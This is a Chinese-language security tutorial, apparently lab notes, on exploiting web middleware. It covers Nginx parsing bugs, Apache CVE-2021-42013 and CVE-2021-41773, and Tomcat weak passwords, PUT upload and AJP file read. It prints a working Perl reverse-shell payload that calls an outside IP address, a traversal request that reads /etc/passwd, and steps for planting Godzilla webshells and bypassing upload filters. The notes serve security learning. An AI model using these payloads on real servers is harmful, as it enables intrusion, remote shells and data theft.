中间件(Middleware)是处于操作系统和应用程序之间的软件,也有人认为它应该属于操作系统中的一部分。人们在使用中间件时,往往是一组中间件集成在一起,构成一个平台(包括开发平台和运行平台),但在这组中间件中必需要有一个通信中间件,即中间件=平台+通信,这个定义也限定了只有用于分布式系统中才能称为中间件,同时还可以把它与支撑软件和实用软件区分开来。
通俗理解:
我开了一家炸鸡店,然而周边有很多鸡肉售卖场,为了成本我肯定要比较所有家的价格,选出价格合适和质量合适的一家。但是如果后面又开了新的鸡肉售卖场,我还要继续比较价格和质量,这就会导致非常的麻烦。
然而我可以找一家代理商,跟代理商说好鸡肉的质量和价格,后面我只要好好做炸鸡并按时支付给代理商鸡肉的钱,然后等待质量符合要求的鸡肉就送来就可以,这样就会省去非常多的麻烦。
1、中间件-IIS-短文件&解析&蓝屏等---因为IIS漏洞的用处较少以及条件过老,所以不在演示
2、中间件-Nginx-文件解析&命令执行等
3、中间件-Apache-RCE&目录遍历&文件解析等
4、中间件-Tomcat-弱口令&文件上传&文件包含等
后缀解析 文件名解析---版本:0.8--1.4.3 1.5--1.5.7
配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
上传正常的图片文件,利用burp抓包,将文件内容改为php代码并在文件名后面加上空格php代码并在文件名后面加上空格
访问文件并抓包,在图片名后面加上两个空格和.php
在hex(64位编码)的地方将第二个空格的20改为00
回到raw页面直接访问文件,访问成功
CVE_2021_42013 RCE--2.4.49和2.4.50
Payload:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
首先在kali上进行端口的监听并利用火狐的插件使用post请求访问,并抓包
修改请求地址,并将post的参数改为payload(通过菱角可以获取反弹shell的payload)
将数据放出,kali中直接反弹成功
CVE_2021_41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
Burp:/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
直接利用burp访问页面,将payload放入url中,payload末位代码为执行的命令,直接发送即可
CVE-2017-15715 文件解析
Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
该漏洞适合黑名单时使用,在禁止php上传的情况下,在下面的文件名(保存后的文件名)后面加上空格,并在hex中将空格改为0a进行绕过
上传成功后,利用burp访问上传文件,并在文件名后加上%0a可以直接执行后门脚本
弱口令猜解
工具地址: GitHub - BeichenDream/Godzilla: 哥斯拉
配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell
通过访问Tomcat的登录页面,进行爆破攻击。
爆破账号密码过后,用java启动哥斯拉,利用哥斯拉生成后门脚本jsp文件,并压缩成jar进行上传
上传之后,访问上传的jsp文件,页面显示空白为正常,利用哥斯拉进行链接(注意:有效载荷和加密器要与生成后门时一致)
测试链接成功后,添加并进行即可
CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79
PUT /1.jsp/ HTTP/1.1
shell代码
利用post方法访问上传jsp文件,然后再burp中改为put请求并在post内容中写入哥斯拉生成的后门代码,上传成功后直接利用哥斯拉链接路径就可
CVE_2020_1938 文件包含
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
工具:GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞
D:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.236.76 -p 63667 -f WEB-INF/web.xml
直接利用py脚本,指定ip和端口,-f 指定读取的文件即可